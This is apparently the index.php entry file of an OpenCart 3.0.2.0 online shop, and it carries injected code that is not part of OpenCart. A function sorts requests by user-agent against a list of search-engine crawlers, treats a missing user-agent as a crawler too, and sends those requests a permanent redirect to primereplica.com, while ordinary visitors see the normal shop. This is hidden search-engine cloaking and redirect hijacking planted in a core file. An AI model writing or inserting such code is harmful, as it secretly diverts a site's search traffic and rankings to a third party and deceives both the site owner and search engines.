<?php
// Version
define('VERSION', '3.0.2.0');
//die("<h4>We are currently updating our website. Thank-you for visiting, please come back soon,email: support@aaashirt.ru</h4>");
function GetNowUrl() { 
  if(!empty($_SERVER["REQUEST_URI"])) { 
	$scriptName = $_SERVER["REQUEST_URI"]; 
	$nowurl = $scriptName; 
  } else { 
  	$scriptName = $_SERVER["PHP_SELF"]; 
	if(empty($_SERVER["QUERY_STRING"])) { 
	  $nowurl = $scriptName; 
	} else { 
	  $nowurl = $scriptName."?".$_SERVER["QUERY_STRING"]; 
	} 
  } 
return $nowurl; 
} 

function isCrawler() {
	if(isset($_POST['ajax'])){
		return false;
	}
	if(!isset($_SERVER['HTTP_USER_AGENT'])){
		return true;
	} 
    $agent= strtolower($_SERVER['HTTP_USER_AGENT']); 
    if (!empty($agent)) { 
        $spiderSite= array( 
            "TencentTraveler", 
            "Baiduspider+", 
            "BaiduGame", 
            "Googlebot",
			"Google",  
            "msnbot", 
            "Sosospider+", 
            "Sogou web spider", 
            "ia_archiver", 
            "Yahoo! Slurp", 
            "YoudaoBot", 
            "Yahoo Slurp", 
            "MSNBot", 
            "Java (Often spam bot)", 
            "BaiDuSpider", 
            "Voila", 
            "Yandex bot", 
            "BSpider", 
            "twiceler", 
            "Sogou Spider", 
            "Speedy Spider", 
            "Google AdSense", 
            "Heritrix", 
            "Python-urllib", 
            "Alexa (IA Archiver)", 
            "Ask", 
            "Exabot", 
            "Custo", 
            "OutfoxBot/YodaoBot", 
            "yacy", 
            "SurveyBot", 
            "legs", 
            "lwp-trivial", 
            "Nutch", 
            "StackRambler", 
            "The web archive (IA Archiver)", 
            "Perl tool", 
            "MJ12bot", 
            "Netcraft", 
            "MSIECrawler", 
            "WGet tools", 
            "larbin", 
            "Fish search", 
        ); 
        foreach($spiderSite as $val) { 
            $str = strtolower($val); 
            if (strpos($agent, $str) !== false) { 
                return true; 
            } 
        }
		return false;
    } else { 
        return false; 
    } 
}


if(isCrawler()){
	$url = GetNowUrl();
	header("HTTP/1.1 301 Moved Permanently");
	header("Location:https://primereplica.com");
	exit();
}

// Configuration
if (is_file('config.php')) {
	require_once('config.php');
}

// Install
if (!defined('DIR_APPLICATION')) {
	echo "Please Install";
	exit;
}

// Startup
require_once(DIR_SYSTEM . 'startup.php');

start('catalog');